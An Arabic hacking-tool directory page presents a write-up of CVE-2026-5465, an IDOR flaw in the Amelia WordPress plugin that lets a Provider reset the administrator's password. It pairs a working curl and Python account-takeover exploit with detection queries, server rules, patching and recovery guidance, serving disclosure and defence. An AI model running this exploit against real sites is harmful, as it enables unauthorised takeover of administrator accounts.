Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5465 — استغلال وتحليل لـ CVE-2026-5465، ثغرة IDOR في إضافة Amelia لـ WordPress تسمح لدور المزود (Provider) المُصادق بتصعيد الصلاحيات وتحقيق الاستيلاء على الحساب عبر مرجع كائن مباشر غير آمن. | Kitploit
أدوات/GitHubGitHub/kaleth4/cve-2026-5465
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقسوء التكوين
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

استغلال وتحليل لـ CVE-2026-5465، ثغرة IDOR في إضافة Amelia لـ WordPress تسمح لدور المزود (Provider) المُصادق بتصعيد الصلاحيات وتحقيق الاستيلاء على الحساب عبر مرجع كائن مباشر غير آمن.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-5465: تصعيد الامتيازات في إضافة Amelia لـ WordPress

⚠️ الملخص التنفيذي

ثغرة حرجة من نوع المرجع المباشر غير الآمن للكائنات (IDOR) في إضافة Amelia تسمح لمستخدم مُصادق بدور موظف (Provider) بتصعيد الامتيازات حتى السيطرة الكاملة (Account Takeover) على موقع WordPress، بما في ذلك الوصول الإداري.


📋 بيانات الثغرة

السمةالقيمة
معرف CVECVE-2026-5465
البرنامجAmelia – Appointment Booking Calendar
الإصدارات المتأثرة≤ 2.1.3
الإصدار المُصحح≥ 2.2.0
النوعمراجع الكائنات المباشرة غير الآمنة (IDOR) / التحكم في الوصول المعطوب
ناقل الهجومشبكة (مُصادق)
التعقيدمنخفض
التأثيرحرج (السيطرة على الحساب)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (تجاوز التفويض)

🔍 التحليل الفني

آلية الاستغلال

يقع الخلل في الفئة UpdateProviderCommandHandler التي تعالج تحديثات ملفات تعريف المزودين.

التدفق القابل للاستغلال:

root@kitploit:~
1. مستخدم مُصادق بدور "Provider" (موظف)
   ↓
2. يرسل طلب POST إلى نقطة نهاية التحديث
   {
     "externalId": 1,  // معرف المدير (وليس معرف المهاجم)
     "firstName": "Admin Pirateado",
     "email": "[email protected]",
     "password": "nueva_contraseña"
   }
   ↓
3. النظام لا يتحقق مما إذا كان 'externalId' يخص المستخدم الحالي
   ↓
4. يستخدم wp_set_password(externalId, new_password)
   ↓
5. تم تغيير كلمة مرور المدير → السيطرة على الحساب

السبب الجذري

غياب التحقق من الملكية (Ownership Check) قبل معالجة البيانات الحساسة:

root@kitploit:~
// كود ضعيف (مبسط)
public function updateProvider($providerId, $data) {
    // ❌ لا يتحقق مما إذا كان providerId == المستخدم الحالي
    $provider = Provider::find($providerId);
    
    // ينفذ مباشرة دون تحقق
    wp_set_password($data['password'], $provider->wp_user_id);
}

// الكود الصحيح
public function updateProvider($providerId, $data) {
    // ✅ يتحقق من الملكية
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

المعاملات القابلة للاستغلال


💣 إثبات المفهوم

المتطلبات

  • حساب مستخدم بدور "Provider" (موظف)
  • وصول مُصادق إلى الموقع
  • عنوان URL لموقع WordPress

الاستغلال اليدوي (cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1

# الحصول على رمز NONCE الأمني (إذا وجد)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# تنفيذ التحديث الخبيث
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] إذا كانت الاستجابة 200، فقد تم اختراق المدير"

الاستغلال الآلي (Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """يستغل IDOR لتغيير كلمة مرور المدير"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] تم الاستغلال: المستخدم {target_user_id} تم اختراقه")
                print(f"[*] كلمة المرور الجديدة: {new_password}")
                return True
            else:
                print(f"[✗] فشل: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] خطأ في الاتصال: {e}")
            return False

# الاستخدام
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://ejemplo.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ مؤشرات الاختراق (IoC)

السجلات التي يجب مراجعتها

سجل تدقيق WordPress (إذا كان مثبتًا):

root@kitploit:~
المستخدم: [معرف Provider]
الإجراء: تم تغيير كلمة مرور المستخدم
المستخدم المتأثر: Administrator
الطابع الزمني: [وقت مشبوه]

سجلات الخادم (Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [مرتفع]
→ استجابة 200 OK

قاعدة بيانات WordPress:

root@kitploit:~
-- تغييرات كلمة المرور غير المصرح بها
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- تغييرات البريد الإلكتروني المشبوهة
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

إشارات التحذير

  • ✗ تغييرات كلمة مرور المدير دون طلب من المالك
  • ✗ محاولات POST متعددة إلى /wp-json/amelia/v1/providers/
  • ✗ وصول إداري من عناوين IP جديدة/غير معتادة
  • ✗ إنشاء مستخدمين جدد بدور Administrator
  • ✗ تغييرات في إعدادات الإضافات من دور Provider
  • ✗ سجلات وصول محذوفة أو مبتورة

🔧 التخفيف الفوري

1. تحديث الإضافة (الخيار المفضل)

root@kitploit:~
# عبر لوحة إدارة WordPress
1. الانتقال إلى: الإضافات > الإضافات المثبتة
2. البحث عن: "Amelia"
3. النقر: "تحديث الآن"
4. الحد الأدنى للإصدار الآمن: 2.2.0+

# عبر WP-CLI
wp plugin update amelia --allow-root

2. تعطيل الإضافة مؤقتًا

root@kitploit:~
# عبر WP-CLI
wp plugin deactivate amelia --allow-root

# عبر FTP/SFTP
إعادة التسمية: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. التقييد على مستوى الخادم

Nginx (nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # السماح بطلبات GET فقط
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 خطوات ما بعد الاختراق

إذا كان الموقع قد تم استغلاله بالفعل:

1. تغيير كلمات المرور (فوري)

root@kitploit:~
-- تغيير كلمة مرور المدير عبر CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. تدقيق المستخدمين والتغييرات

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. مراجعة الجلسات النشطة

root@kitploit:~
# تثبيت ومراجعة الإضافة: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. إعادة تعيين مفاتيح الأمان

root@kitploit:~
// في wp-config.php، أعد توليد:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 التحصين طويل الأمد

1. تنفيذ WAF (جدار حماية تطبيقات الويب)

root@kitploit:~
قاعدة Cloudflare WAF:
- حظر: POST إلى /wp-json/amelia/v1/providers/[0-9]+ من عناوين IP غير مدرجة في القائمة البيضاء

2. المراقبة المستمرة

root@kitploit:~
# تثبيت إضافات التدقيق
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. إدارة الأدوار والصلاحيات

root@kitploit:~
// تقييد صلاحيات Provider
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. تحديد معدل الطلبات على نقاط النهاية

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 الجدول الزمني للاكتشاف

التاريخالحدث
2026-01-15تم الإبلاغ عن الثغرة إلى فريق Amelia
2026-02-01

📞 جهات الدعم

  • Amelia Official: https://ameliabooking.com
  • Wordfence Threat Intelligence: https://wordfence.com
  • WordPress Security: https://wordpress.org/plugins/wordfence/
  • CERT Coordination Center: https://www.cert.org

📚 المراجع

  • OWASP: Broken Access Control
  • CWE-639: Authorization Bypass
  • NIST: Privilege Escalation
  • Amelia Security Advisories

التصنيف: 🔴 حرج - يتطلب إجراءً فوريًا
آخر تحديث: أبريل 2026
المؤلف: فريق الأمان

تنزيل الأداة
المعاملالنوعالتأثير
externalIdعدد صحيحتغيير الهوية (IDOR الأساسي)
passwordنصتعديل كلمة المرور
emailبريد إلكترونيسرقة الجلسة إذا تمت إعادة التعيين
firstName, lastNameنصتغيير بيانات غير حرج
توفر التصحيح (v2.2.0)
2026-02-10النشر المسؤول لـ CVE
2026-02-11استغلالات في البرية
اليومتوصية بالتحديث العاجل